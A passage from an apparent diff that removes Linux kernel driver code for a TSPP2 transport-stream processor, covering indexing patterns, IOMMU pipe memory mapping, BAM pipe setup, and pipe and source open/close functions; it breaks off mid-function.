@patterns_num: Number of patterns in the values / masks arrays. +- * Up to TSPP2_NUM_INDEXING_PATTERNS. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_indexing_patterns_add(u32 dev_id, +- u8 table_id, +- const u32 *values, +- const u32 *masks, +- u8 patterns_num) +-{ +- int ret; +- int i; +- u16 offs = 0; +- u32 reg; +- struct tspp2_device *device; +- struct tspp2_indexing_table *table; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- if (table_id >= TSPP2_NUM_INDEXING_TABLES) { +- pr_err("%s: Invalid table ID %d\n", __func__, table_id); +- return -EINVAL; +- } +- if (!values || !masks) { +- pr_err("%s: NULL values or masks array\n", __func__); +- return -EINVAL; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&device->mutex)) { +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -ERESTARTSYS; +- } +- +- if (!device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EPERM; +- } +- +- table = &device->indexing_tables[table_id]; +- +- if ((table->num_valid_entries + patterns_num) > +- TSPP2_NUM_INDEXING_PATTERNS) { +- pr_err("%s: Trying to add too many patterns: current number %d, trying to add %d, maximum allowed %d\n", +- __func__, table->num_valid_entries, patterns_num, +- TSPP2_NUM_INDEXING_PATTERNS); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EINVAL; +- } +- +- /* There's enough room to add all the requested patterns */ +- offs = table->num_valid_entries; +- for (i = 0; i < patterns_num; i++) { +- table->entry_value[offs + i] = values[i]; +- table->entry_mask[offs + i] = masks[i]; +- writel_relaxed(cpu_to_be32(values[i]), +- device->base + +- TSPP2_INDEX_TABLE_PATTEREN(table_id, offs + i)); +- writel_relaxed(cpu_to_be32(masks[i]), device->base + +- TSPP2_INDEX_TABLE_MASK(table_id, offs + i)); +- } +- table->num_valid_entries += patterns_num; +- reg = readl_relaxed(device->base + TSPP2_INDEX_TABLE_PARAMS(table_id)); +- reg &= ~(0x1F << INDEX_TABLE_PARAMS_NUM_PATTERNS_OFFS); +- reg |= (table->num_valid_entries << +- INDEX_TABLE_PARAMS_NUM_PATTERNS_OFFS); +- writel_relaxed(reg, device->base + TSPP2_INDEX_TABLE_PARAMS(table_id)); +- +- mutex_unlock(&device->mutex); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_indexing_patterns_add); +- +-/** +- * tspp2_indexing_patterns_clear() - Clear all patterns of an indexing table. +- * +- * @dev_id: TSPP2 device ID. +- * @table_id: Indexing table ID. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_indexing_patterns_clear(u32 dev_id, +- u8 table_id) +-{ +- int ret; +- int i; +- u32 reg; +- struct tspp2_device *device; +- struct tspp2_indexing_table *table; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- if (table_id >= TSPP2_NUM_INDEXING_TABLES) { +- pr_err("%s: Invalid table ID %d\n", __func__, table_id); +- return -EINVAL; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&device->mutex)) { +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -ERESTARTSYS; +- } +- +- if (!device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EPERM; +- } +- +- table = &device->indexing_tables[table_id]; +- +- for (i = 0; i < table->num_valid_entries; i++) { +- table->entry_value[i] = 0; +- table->entry_mask[i] = 0; +- writel_relaxed(0, device->base + +- TSPP2_INDEX_TABLE_PATTEREN(table_id, i)); +- writel_relaxed(0, device->base + +- TSPP2_INDEX_TABLE_MASK(table_id, i)); +- +- } +- table->num_valid_entries = 0; +- reg = readl_relaxed(device->base + TSPP2_INDEX_TABLE_PARAMS(table_id)); +- reg &= ~(0x1F << INDEX_TABLE_PARAMS_NUM_PATTERNS_OFFS); +- writel_relaxed(reg, device->base + TSPP2_INDEX_TABLE_PARAMS(table_id)); +- +- mutex_unlock(&device->mutex); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_indexing_patterns_clear); +- +-/* Pipe API functions */ +- +-/** +- * tspp2_pipe_memory_init() - Initialize pipe memory helper function. +- * +- * @pipe: The pipe to work on. +- * +- * The user is responsible for allocating the pipe's memory buffer via ION. +- * This helper function maps the given buffer to TSPP2 IOMMU memory space, +- * and sets the pipe's secure bit. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_pipe_memory_init(struct tspp2_pipe *pipe) +-{ +- int ret = 0; +- u32 reg; +- size_t align; +- unsigned long dummy_size = 0; +- size_t len = 0; +- int domain = 0; +- int partition = 0; +- int hlos_group_attached = 0; +- int cpz_group_attached = 0; +- int vbif_clk_started = 0; +- +- if (pipe->cfg.is_secure) { +- domain = pipe->device->iommu_info.cpz_domain_num; +- partition = pipe->device->iommu_info.cpz_partition; +- align = SZ_1M; +- } else { +- domain = pipe->device->iommu_info.hlos_domain_num; +- partition = pipe->device->iommu_info.hlos_partition; +- align = SZ_4K; +- } +- +- if (tspp2_iommu_bypass) { +- ret = ion_phys(pipe->cfg.ion_client, +- pipe->cfg.buffer_handle, &pipe->iova, &len); +- +- dummy_size = 0; +- +- if (ret) { +- pr_err("%s: Failed to get buffer physical address, ret = %d\n", +- __func__, ret); +- return ret; +- } +- +- if ((pipe->device->num_secured_opened_pipes + +- pipe->device->num_non_secured_opened_pipes) == 0) { +- ret = tspp2_vbif_clock_start(pipe->device); +- if (ret) { +- pr_err( +- "%s: tspp2_vbif_clock_start failed, ret=%d\n", +- __func__, ret); +- return ret; +- } +- vbif_clk_started = 1; +- } +- } else { +- /* +- * We need to attach the group to enable the IOMMU and support +- * the required memory mapping. This needs to be done before +- * the first mapping is performed, so the number of opened pipes +- * (of each type: secure or non-secure) is used as a +- * reference count. Note that since the pipe descriptors are +- * always allocated from HLOS domain, the HLOS group must be +- * attached regardless of the pipe's security configuration. +- * The mutex is taken at this point so there is no problem with +- * synchronization. +- */ +- if ((pipe->device->num_secured_opened_pipes + +- pipe->device->num_non_secured_opened_pipes) == 0) { +- ret = tspp2_vbif_clock_start(pipe->device); +- if (ret) { +- pr_err("%s: tspp2_vbif_clock_start failed, ret=%d\n", +- __func__, ret); +- goto err_out; +- } +- vbif_clk_started = 1; +- +- pr_debug("%s: attaching HLOS group\n", __func__); +- ret = iommu_attach_group( +- pipe->device->iommu_info.hlos_domain, +- pipe->device->iommu_info.hlos_group); +- +- if (ret) { +- pr_err("%s: Failed attaching IOMMU HLOS group, %d\n", +- __func__, ret); +- goto err_out; +- } +- hlos_group_attached = 1; +- } +- +- if (pipe->cfg.is_secure && +- (pipe->device->num_secured_opened_pipes == 0)) { +- pr_debug("%s: attaching CPZ group\n", __func__); +- ret = iommu_attach_group( +- pipe->device->iommu_info.cpz_domain, +- pipe->device->iommu_info.cpz_group); +- +- if (ret) { +- pr_err("%s: Failed attaching IOMMU CPZ group, %d\n", +- __func__, ret); +- goto err_out; +- } +- cpz_group_attached = 1; +- } +- +- /* Map to TSPP2 IOMMU */ +- ret = ion_map_iommu(pipe->cfg.ion_client, +- pipe->cfg.buffer_handle, +- domain, +- partition, +- align, 0, &pipe->iova, +- &dummy_size, 0, 0); /* Uncached mapping */ +- +- if (ret) { +- pr_err("%s: Failed mapping buffer to TSPP2, %d\n", +- __func__, ret); +- goto err_out; +- } +- } +- +- if (pipe->cfg.is_secure) { +- reg = readl_relaxed(pipe->device->base + TSPP2_PIPE_SECURITY); +- reg |= (0x1 << pipe->hw_index); +- writel_relaxed(reg, pipe->device->base + TSPP2_PIPE_SECURITY); +- } +- +- dev_dbg(pipe->device->dev, "%s: successful\n", __func__); +- +- return 0; +- +-err_out: +- if (hlos_group_attached) { +- iommu_detach_group(pipe->device->iommu_info.hlos_domain, +- pipe->device->iommu_info.hlos_group); +- } +- +- if (cpz_group_attached) { +- iommu_detach_group(pipe->device->iommu_info.cpz_domain, +- pipe->device->iommu_info.cpz_group); +- } +- +- if (vbif_clk_started) +- tspp2_vbif_clock_stop(pipe->device); +- +- return ret; +-} +- +-/** +- * tspp2_pipe_memory_terminate() - Unmap pipe memory. +- * +- * @pipe: The pipe to work on. +- * +- * Unmap the pipe's memory and clear the pipe's secure bit. +- */ +-static void tspp2_pipe_memory_terminate(struct tspp2_pipe *pipe) +-{ +- u32 reg; +- int domain = 0; +- int partition = 0; +- +- if (pipe->cfg.is_secure) { +- domain = pipe->device->iommu_info.cpz_domain_num; +- partition = pipe->device->iommu_info.cpz_partition; +- } else { +- domain = pipe->device->iommu_info.hlos_domain_num; +- partition = pipe->device->iommu_info.hlos_partition; +- } +- +- if (!tspp2_iommu_bypass) { +- ion_unmap_iommu(pipe->cfg.ion_client, +- pipe->cfg.buffer_handle, +- domain, +- partition); +- +- /* +- * Opposite to what is done in tspp2_pipe_memory_init(), +- * here we detach the IOMMU group when it is no longer in use. +- */ +- if (pipe->cfg.is_secure && +- (pipe->device->num_secured_opened_pipes == 0)) { +- pr_debug("%s: detaching CPZ group\n", __func__); +- iommu_detach_group( +- pipe->device->iommu_info.cpz_domain, +- pipe->device->iommu_info.cpz_group); +- } +- +- if ((pipe->device->num_secured_opened_pipes + +- pipe->device->num_non_secured_opened_pipes) == 0) { +- pr_debug("%s: detaching HLOS group\n", __func__); +- iommu_detach_group( +- pipe->device->iommu_info.hlos_domain, +- pipe->device->iommu_info.hlos_group); +- tspp2_vbif_clock_stop(pipe->device); +- } +- } else if ((pipe->device->num_secured_opened_pipes + +- pipe->device->num_non_secured_opened_pipes) == 0) { +- tspp2_vbif_clock_stop(pipe->device); +- } +- +- pipe->iova = 0; +- +- if (pipe->cfg.is_secure) { +- reg = readl_relaxed(pipe->device->base + TSPP2_PIPE_SECURITY); +- reg &= ~(0x1 << pipe->hw_index); +- writel_relaxed(reg, pipe->device->base + TSPP2_PIPE_SECURITY); +- } +- +- dev_dbg(pipe->device->dev, "%s: successful\n", __func__); +-} +- +-/** +- * tspp2_sps_pipe_init() - BAM SPS pipe configuration and initialization +- * +- * @pipe: The pipe to work on. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_sps_pipe_init(struct tspp2_pipe *pipe) +-{ +- u32 descriptors_num; +- unsigned long dummy_size = 0; +- int ret = 0; +- int iommu_mapped = 0; +- +- if (pipe->cfg.buffer_size % pipe->cfg.sps_cfg.descriptor_size) { +- pr_err( +- "%s: Buffer size %d is not aligned to descriptor size %d\n", +- __func__, pipe->cfg.buffer_size, +- pipe->cfg.sps_cfg.descriptor_size); +- return -EINVAL; +- } +- +- pipe->sps_pipe = sps_alloc_endpoint(); +- if (!pipe->sps_pipe) { +- pr_err("%s: Failed to allocate BAM pipe\n", __func__); +- return -ENOMEM; +- } +- +- /* get default configuration */ +- sps_get_config(pipe->sps_pipe, &pipe->sps_connect_cfg); +- if (pipe->cfg.pipe_mode == TSPP2_SRC_PIPE_INPUT) { +- pipe->sps_connect_cfg.mode = SPS_MODE_DEST; +- pipe->sps_connect_cfg.source = SPS_DEV_HANDLE_MEM; +- pipe->sps_connect_cfg.destination = pipe->device->bam_handle; +- pipe->sps_connect_cfg.dest_pipe_index = pipe->hw_index; +- } else { +- pipe->sps_connect_cfg.mode = SPS_MODE_SRC; +- pipe->sps_connect_cfg.source = pipe->device->bam_handle; +- pipe->sps_connect_cfg.destination = SPS_DEV_HANDLE_MEM; +- pipe->sps_connect_cfg.src_pipe_index = pipe->hw_index; +- } +- pipe->sps_connect_cfg.desc.base = NULL; +- pipe->sps_connect_cfg.options = pipe->cfg.sps_cfg.setting; +- descriptors_num = (pipe->cfg.buffer_size / +- pipe->cfg.sps_cfg.descriptor_size); +- +- /* +- * If size of descriptors FIFO can hold N descriptors, we can submit +- * (N-1) descriptors only, therefore we allocate extra descriptor +- */ +- descriptors_num++; +- pipe->sps_connect_cfg.desc.size = (descriptors_num * +- sizeof(struct sps_iovec)); +- +- if (tspp2_iommu_bypass) { +- pipe->sps_connect_cfg.desc.base = dma_alloc_coherent(NULL, +- pipe->sps_connect_cfg.desc.size, +- &pipe->sps_connect_cfg.desc.phys_base, +- GFP_KERNEL); +- +- if (!pipe->sps_connect_cfg.desc.base) { +- pr_err("%s: Failed to allocate descriptor FIFO\n", +- __func__); +- ret = -ENOMEM; +- goto init_sps_failed_free_endpoint; +- } +- } else { +- pipe->desc_ion_handle = ion_alloc(pipe->cfg.ion_client, +- pipe->sps_connect_cfg.desc.size, +- SZ_4K, ION_HEAP(ION_IOMMU_HEAP_ID), 0); +- +- if (!pipe->desc_ion_handle) { +- pr_err("%s: Failed to allocate descriptors via ION\n", +- __func__); +- ret = -ENOMEM; +- goto init_sps_failed_free_endpoint; +- } +- +- ret = ion_map_iommu(pipe->cfg.ion_client, +- pipe->desc_ion_handle, +- pipe->device->iommu_info.hlos_domain_num, +- pipe->device->iommu_info.hlos_partition, +- SZ_4K, 0, +- &pipe->sps_connect_cfg.desc.phys_base, +- &dummy_size, 0, 0); /* Uncached mapping */ +- +- if (ret) { +- pr_err("%s: Failed mapping descriptors to IOMMU\n", +- __func__); +- goto init_sps_failed_free_mem; +- } +- +- iommu_mapped = 1; +- +- pipe->sps_connect_cfg.desc.base = +- ion_map_kernel(pipe->cfg.ion_client, +- pipe->desc_ion_handle); +- +- if (!pipe->sps_connect_cfg.desc.base) { +- pr_err("%s: Failed mapping descriptors to kernel\n", +- __func__); +- ret = -ENOMEM; +- goto init_sps_failed_free_mem; +- } +- } +- +- ret = sps_connect(pipe->sps_pipe, &pipe->sps_connect_cfg); +- if (ret) { +- pr_err("%s: Failed to connect BAM, %d\n", __func__, ret); +- goto init_sps_failed_free_mem; +- } +- +- pipe->sps_event.options = pipe->cfg.sps_cfg.wakeup_events; +- if (pipe->sps_event.options) { +- pipe->sps_event.mode = SPS_TRIGGER_CALLBACK; +- pipe->sps_event.callback = pipe->cfg.sps_cfg.callback; +- pipe->sps_event.xfer_done = NULL; +- pipe->sps_event.user = pipe->cfg.sps_cfg.user_info; +- +- ret = sps_register_event(pipe->sps_pipe, &pipe->sps_event); +- if (ret) { +- pr_err("%s: Failed to register pipe event, %d\n", +- __func__, ret); +- goto init_sps_failed_free_connection; +- } +- } +- +- dev_dbg(pipe->device->dev, "%s: successful\n", __func__); +- +- return 0; +- +-init_sps_failed_free_connection: +- sps_disconnect(pipe->sps_pipe); +-init_sps_failed_free_mem: +- if (tspp2_iommu_bypass) { +- dma_free_coherent(NULL, pipe->sps_connect_cfg.desc.size, +- pipe->sps_connect_cfg.desc.base, +- pipe->sps_connect_cfg.desc.phys_base); +- } else { +- if (pipe->sps_connect_cfg.desc.base) +- ion_unmap_kernel(pipe->cfg.ion_client, +- pipe->desc_ion_handle); +- +- if (iommu_mapped) { +- ion_unmap_iommu(pipe->cfg.ion_client, +- pipe->desc_ion_handle, +- pipe->device->iommu_info.hlos_domain_num, +- pipe->device->iommu_info.hlos_partition); +- } +- +- ion_free(pipe->cfg.ion_client, pipe->desc_ion_handle); +- } +-init_sps_failed_free_endpoint: +- sps_free_endpoint(pipe->sps_pipe); +- +- return ret; +-} +- +-/** +- * tspp2_sps_queue_descriptors() - Queue BAM SPS descriptors +- * +- * @pipe: The pipe to work on. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_sps_queue_descriptors(struct tspp2_pipe *pipe) +-{ +- int ret = 0; +- u32 data_offset = 0; +- u32 desc_length = pipe->cfg.sps_cfg.descriptor_size; +- u32 desc_flags = pipe->cfg.sps_cfg.descriptor_flags; +- u32 data_length = pipe->cfg.buffer_size; +- +- while (data_length > 0) { +- ret = sps_transfer_one(pipe->sps_pipe, +- pipe->iova + data_offset, +- desc_length, +- pipe->cfg.sps_cfg.user_info, +- desc_flags); +- +- if (ret) { +- pr_err("%s: sps_transfer_one failed, %d\n", +- __func__, ret); +- return ret; +- } +- +- data_offset += desc_length; +- data_length -= desc_length; +- } +- +- return 0; +-} +- +-/** +- * tspp2_sps_pipe_terminate() - Disconnect and terminate SPS BAM pipe +- * +- * @pipe: The pipe to work on. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_sps_pipe_terminate(struct tspp2_pipe *pipe) +-{ +- int ret; +- +- ret = sps_disconnect(pipe->sps_pipe); +- if (ret) { +- pr_err("%s: failed to disconnect BAM pipe, %d\n", +- __func__, ret); +- return ret; +- } +- if (tspp2_iommu_bypass) { +- dma_free_coherent(NULL, pipe->sps_connect_cfg.desc.size, +- pipe->sps_connect_cfg.desc.base, +- pipe->sps_connect_cfg.desc.phys_base); +- } else { +- ion_unmap_kernel(pipe->cfg.ion_client, +- pipe->desc_ion_handle); +- +- ion_unmap_iommu(pipe->cfg.ion_client, +- pipe->desc_ion_handle, +- pipe->device->iommu_info.hlos_domain_num, +- pipe->device->iommu_info.hlos_partition); +- +- ion_free(pipe->cfg.ion_client, pipe->desc_ion_handle); +- } +- pipe->sps_connect_cfg.desc.base = NULL; +- +- ret = sps_free_endpoint(pipe->sps_pipe); +- if (ret) { +- pr_err("%s: failed to release BAM end-point, %d\n", +- __func__, ret); +- return ret; +- } +- +- return 0; +-} +- +-/** +- * tspp2_pipe_open() - Open a pipe for use. +- * +- * @dev_id: TSPP2 device ID. +- * @cfg: Pipe configuration parameters. +- * @iova: TSPP2 IOMMU virtual address of the pipe's buffer. +- * @pipe_handle: Opened pipe handle. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_pipe_open(u32 dev_id, +- const struct tspp2_pipe_config_params *cfg, +- ion_phys_addr_t *iova, +- u32 *pipe_handle) +-{ +- struct tspp2_device *device; +- struct tspp2_pipe *pipe; +- int i; +- int ret = 0; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- +- if (!cfg || !iova || !pipe_handle) { +- pr_err("%s: Invalid parameters\n", __func__); +- return -EINVAL; +- } +- +- /* Some minimal sanity tests on the pipe configuration: */ +- if (!cfg->ion_client || !cfg->buffer_handle) { +- pr_err("%s: Invalid parameters\n", __func__); +- return -EINVAL; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&device->mutex)) { +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -ERESTARTSYS; +- } +- +- if (!device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EPERM; +- } +- +- /* Find a free pipe */ +- for (i = 0; i < TSPP2_NUM_PIPES; i++) { +- pipe = &device->pipes[i]; +- if (!pipe->opened) +- break; +- } +- if (i == TSPP2_NUM_PIPES) { +- pr_err("%s: No available pipes\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -ENOMEM; +- } +- +- pipe->hw_index = i; +- /* Actual pipe threshold is set when the pipe is attached to a source */ +- pipe->threshold = 0; +- pipe->cfg = *cfg; +- pipe->ref_cnt = 0; +- /* device back-pointer is already initialized, always remains valid */ +- +- ret = tspp2_pipe_memory_init(pipe); +- if (ret) { +- pr_err("%s: Error initializing pipe memory\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return ret; +- } +- ret = tspp2_sps_pipe_init(pipe); +- if (ret) { +- pr_err("%s: Error initializing BAM pipe\n", __func__); +- tspp2_pipe_memory_terminate(pipe); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return ret; +- } +- +- /* For output pipes, we queue BAM descriptors here so they are ready */ +- if (pipe->cfg.pipe_mode == TSPP2_SRC_PIPE_OUTPUT) { +- ret = tspp2_sps_queue_descriptors(pipe); +- if (ret) { +- pr_err("%s: Error queuing BAM pipe descriptors\n", +- __func__); +- tspp2_sps_pipe_terminate(pipe); +- tspp2_pipe_memory_terminate(pipe); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return ret; +- } +- } +- +- /* Reset counter */ +- writel_relaxed((0x1 << pipe->hw_index), +- device->base + TSPP2_DATA_NOT_SENT_ON_PIPE_RESET); +- +- /* Return handle to the caller */ +- *pipe_handle = (u32)pipe; +- *iova = pipe->iova; +- +- pipe->opened = 1; +- if (pipe->cfg.is_secure) +- device->num_secured_opened_pipes++; +- else +- device->num_non_secured_opened_pipes++; +- +- mutex_unlock(&device->mutex); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_pipe_open); +- +-/** +- * tspp2_pipe_close() - Close an opened pipe. +- * +- * @pipe_handle: Pipe to be closed. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_pipe_close(u32 pipe_handle) +-{ +- int ret; +- struct tspp2_pipe *pipe = (struct tspp2_pipe *)pipe_handle; +- +- if (!pipe) { +- pr_err("%s: Invalid pipe handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(pipe->device->dev); +- if (ret < 0) +- return ret; +- +- mutex_lock(&pipe->device->mutex); +- +- if (!pipe->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&pipe->device->mutex); +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -EPERM; +- } +- +- if (!pipe->opened) { +- pr_err("%s: Pipe already closed\n", __func__); +- mutex_unlock(&pipe->device->mutex); +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -EINVAL; +- } +- +- if (pipe->ref_cnt > 0) { +- pr_err("%s: Pipe %u is still attached to a source\n", +- __func__, pipe_handle); +- mutex_unlock(&pipe->device->mutex); +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- return -EPERM; +- } +- +- /* +- * Note: need to decrement the pipe reference count here, before +- * calling tspp2_pipe_memory_terminate(). +- */ +- if (pipe->cfg.is_secure) +- pipe->device->num_secured_opened_pipes--; +- else +- pipe->device->num_non_secured_opened_pipes--; +- +- tspp2_sps_pipe_terminate(pipe); +- tspp2_pipe_memory_terminate(pipe); +- +- pipe->iova = 0; +- pipe->opened = 0; +- +- mutex_unlock(&pipe->device->mutex); +- +- pm_runtime_mark_last_busy(pipe->device->dev); +- pm_runtime_put_autosuspend(pipe->device->dev); +- +- dev_dbg(pipe->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_pipe_close); +- +-/* Source API functions */ +- +-/** +- * tspp2_src_open() - Open a new source for use. +- * +- * @dev_id: TSPP2 device ID. +- * @cfg: Source configuration parameters. +- * @src_handle: Opened source handle. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_open(u32 dev_id, +- struct tspp2_src_cfg *cfg, +- u32 *src_handle) +-{ +- int ret; +- int i; +- struct tspp2_device *device; +- struct tspp2_src *src; +- enum tspp2_src_input input; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- if (!src_handle) { +- pr_err("%s: Invalid source handle pointer\n", __func__); +- return -EINVAL; +- } +- if (!cfg) { +- pr_err("%s: Invalid configuration parameters\n", __func__); +- return -EINVAL; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&device->mutex)) { +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -ERESTARTSYS; +- } +- +- if (!device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EPERM; +- } +- +- input = cfg->input; +- if ((input == TSPP2_INPUT_TSIF0) || (input == TSPP2_INPUT_TSIF1)) { +- /* Input from TSIF */ +- if (device->tsif_sources[input].opened) { +- pr_err("%s: TSIF input %d already opened\n", +- __func__, input); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EINVAL; +- } +- src = &device->tsif_sources[input]; +- +- /* +- * When writing to HW registers that are relevant to sources +- * of both TSIF and memory input types, the register offsets +- * for the TSIF-related registers come after the memory-related +- * registers. For example: for TSPP2_SRC_CONFIG(n), n=[0..9], +- * indexes 0..7 are for memory inputs, and indexes 8, 9 are +- * for TSIF inputs. +- */ +- src->hw_index = TSPP2_NUM_MEM_INPUTS + input; +- +- /* Save TSIF source parameters in TSIF device */ +- device->tsif_devices[input].mode = +- cfg->params.tsif_params.tsif_mode; +- device->tsif_devices[input].clock_inverse = +- cfg->params.tsif_params.clock_inverse; +- device->tsif_devices[input].data_inverse = +- cfg->params.tsif_params.data_inverse; +- device->tsif_devices[input].sync_inverse = +- cfg->params.tsif_params.sync_inverse; +- device->tsif_devices[input].enable_inverse = +- cfg->params.tsif_params.enable_inverse; +- } else { +- /* Input from memory */ +- for (i = 0; i < TSPP2_NUM_MEM_INPUTS; i++) { +- if (!device->mem_sources[i].opened) +- break; +- } +- if (i == TSPP2_NUM_MEM_INPUTS) { +- pr_err("%s: No memory inputs available\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -ENOMEM; +- } +- +- src = &device->mem_sources[i]; +- src->hw_index = i; +- } +- +- src->opened = 1; +- src->input = input; +- src->pkt_format = TSPP2_PACKET_FORMAT_188_RAW; /* default value */ +- src->scrambling_bits_monitoring = TSPP2_SRC_SCRAMBLING_MONITOR_NONE; +- INIT_LIST_HEAD(&src->batches_list); +- INIT_LIST_HEAD(&src->filters_list); +- src->input_pipe = NULL; +- INIT_LIST_HEAD(&src->output_pipe_list); +- src->num_associated_batches = 0; +- src->num_associated_pipes = 0; +- src->num_associated_filters = 0; +- src->reserved_filter_hw_index = 0; +- src->event_callback = NULL; +- src->event_cookie = NULL; +- src->event_bitmask = 0; +- src->enabled = 0; +- /* device back-pointer is already initialized, always remains valid */ +- +- /* Reset source-related registers */ +- if ((input == TSPP2_INPUT_TSIF0) || (input == TSPP2_INPUT_TSIF1)) { +- writel_relaxed((0x1 << TSIF_INPUT_SRC_CONFIG_16_BATCHES_OFFS), +- device->base + +- TSPP2_TSIF_INPUT_SRC_CONFIG(src->input)); +- } else { +- /* +- * Disable memory inputs. Set mode of operation to 16 batches. +- * Configure last batch to be associated with this source. +- */ +- writel_relaxed(TSPP2_DEFAULT_MEM_SRC_CONFIG, +- device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- } +- writel_relaxed(0, device->base + +- TSPP2_SRC_DEST_PIPES(src->hw_index)); +- writel_relaxed(TSPP2_DEFAULT_SRC_CONFIG, device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- writel_relaxed((0x1 << src->hw_index), +- device->base + TSPP2_SRC_TOTAL_TSP_RESET); +- writel_relaxed((0x1 << src->hw_index), +- device->base + TSPP2_SRC_FILTERED_OUT_TSP_RESET); +- +- /* Return handle to the caller */ +- *src_handle = (u32)src; +- +- mutex_unlock(&device->mutex); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_open); +- +-/** +- * tspp2_src_close() - Close an opened source. +- * +- * @src_handle: Source to be closed. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_close(u32 src_handle) +-{ +- unsigned long flags; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- mutex_lock(&src->device->mutex); +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source already closed\n", __func__); +- mutex_unlock(&src->device->mutex); +- return 